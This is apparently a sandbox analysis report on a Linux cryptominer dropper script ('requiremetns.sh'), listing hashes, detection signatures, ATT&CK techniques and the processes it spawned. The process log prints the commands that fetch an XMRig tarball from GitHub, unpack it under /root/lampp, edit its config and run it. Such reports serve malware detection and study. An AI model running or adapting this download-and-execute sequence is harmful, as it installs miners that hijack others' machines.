xmrig_linux | d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

General

Target

requiremetns.sh
Size

8KB
MD5

97423634cc1762b2f010cb860e7fb47d
SHA1

2f50775e8fe9ab98a80f06d835c5874091bf0b3e
SHA256

d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
SHA512

bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f
SSDEEP

192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score

10^/10

xmrig_linux antivm miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
/root/lampp/xmrig	family_xmrig
/root/lampp/xmrig	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux
Executes dropped EXE 2 IoCs

Processes:

xmrigxmrig

ioc pid process

/root/lampp/xmrig 769 xmrig
/root/lampp/xmrig 789 xmrig
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
2 raw.githubusercontent.com

ioc	pid	process
/root/lampp/xmrig	769	xmrig
/root/lampp/xmrig	789	xmrig

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

Processes:

curlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

Processes:

mkdirtarsedsedgrepgreptarsed

description	ioc	process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	sed

Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.

Processes:

curlcurl

description ioc process

File opened for modification /tmp/xmrig.tar.gz curl
File opened for modification /tmp/xmrig.tar.gz curl

description	ioc	process
File opened for modification	/tmp/xmrig.tar.gz	curl
File opened for modification	/tmp/xmrig.tar.gz	curl

/tmp/requiremetns.sh
/tmp/requiremetns.sh
1⤵
PID:703

/usr/bin/cut
cut -f1 -d.
2⤵
PID:712

/usr/bin/nproc
nproc
2⤵
PID:715

/usr/bin/curl
curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:722

/usr/bin/mkdir
mkdir /root/lampp
2⤵
- Reads runtime system information
PID:764

/usr/bin/tar
tar xf /tmp/xmrig.tar.gz -C /root/lampp
2⤵
- Reads runtime system information
PID:765

/usr/local/sbin/gzip
gzip -d
3⤵
PID:766

/usr/local/bin/gzip
gzip -d
3⤵
PID:766

/usr/sbin/gzip
gzip -d
3⤵
PID:766

/usr/bin/gzip
gzip -d
3⤵
PID:766

/usr/bin/rm
rm /tmp/xmrig.tar.gz
2⤵
PID:767

/usr/bin/sed
sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
2⤵
- Reads runtime system information
PID:768

/root/lampp/xmrig
/root/lampp/xmrig --help
2⤵
- Executes dropped EXE
PID:769

/usr/bin/curl
curl -s https://github.com/xmrig/xmrig/releases/latest
2⤵
- Checks CPU configuration
PID:773

/usr/bin/grep
grep -o "\".*\""
2⤵
- Reads runtime system information
PID:774

/usr/bin/sed
sed "s/\"//g"
2⤵
- Reads runtime system information
PID:775

/usr/bin/curl
curl -s
2⤵
- Checks CPU configuration
PID:778

/usr/bin/grep
grep "xenial-x64.tar.gz\""
2⤵
- Reads runtime system information
PID:779

/usr/bin/cut
cut -d "\"" -f2
2⤵
PID:780

/usr/bin/curl
curl -L --progress-bar https://github.com -o /tmp/xmrig.tar.gz
2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:781

/usr/bin/tar
tar xf /tmp/xmrig.tar.gz -C /root/lampp "--strip=1"
2⤵
- Reads runtime system information
PID:785

/usr/local/sbin/gzip
gzip -d
3⤵
PID:786

/usr/local/bin/gzip
gzip -d
3⤵
PID:786

/usr/sbin/gzip
gzip -d
3⤵
PID:786

/usr/bin/gzip
gzip -d
3⤵
PID:786

/usr/bin/rm
rm /tmp/xmrig.tar.gz
2⤵
PID:787

/usr/bin/sed
sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 0,/" /root/lampp/config.json
2⤵
- Reads runtime system information
PID:788

/root/lampp/xmrig
/root/lampp/xmrig --help
2⤵
- Executes dropped EXE
PID:789

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Credential Access

Discovery

Virtualization/Sandbox Evasion

1

T1497

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

/root/lampp/config.json
Filesize
2KB

MD5
f3294129e6b76283965ad86a815bf383

SHA1
5fe0ab538f86962efe82cb13fc2da745610740af

SHA256
578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

SHA512
07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

Download Submit
/root/lampp/sedhuBP5q
Filesize
2KB

MD5
249b7abb9dc15cc1b1ca5ae8f998de56

SHA1
05251c97858f5a47deb3c12bb6b88d0499f4e6da

SHA256
dc4afb2c0aa3527f2d80259bea8756a969856d4cf209de9070f890745a40e607

SHA512
a591839687de92238bf4813caf730c203fa0d840549a1e1a7a3b07890cdfe02ba9ecd054bf6bfca5df627db61e75754f39e3ca09f6e1e3e0c2a762e12cad2f8f

Download Submit
/root/lampp/xmrig
Filesize
8.4MB

MD5
e6b2f9d13d45c128b44cb5405df9ab39

SHA1
c07326f69240e3d22d134d156528af3bd5d0497b

SHA256
96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

SHA512
4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

Download Submit
/tmp/xmrig.tar.gz
Filesize
3.4MB

MD5
e003a3ec8bdd61151a61cadf950502c4

SHA1
2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

SHA256
80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

SHA512
ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9

Download Submit
/tmp/xmrig.tar.gz
Filesize
234KB

MD5
6edf3369798e77cd3bb02b428c6d2e35

SHA1
4c76b12be14c5b98ca6ec50f082f48478e89c1ce

SHA256
7dad6af6bc2b05cf07159f0c61642bd0beeeb9eee1cbc753719f32ac5f1ed5a3

SHA512
28e29b32cbc229fb67eb23941eb908713ddc1015d54950debbbf936bb6af44b5dfde322db1c668b8db79e3a4b1a87e71b389f79438e0ffa663e3e6eeed4b31ae

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads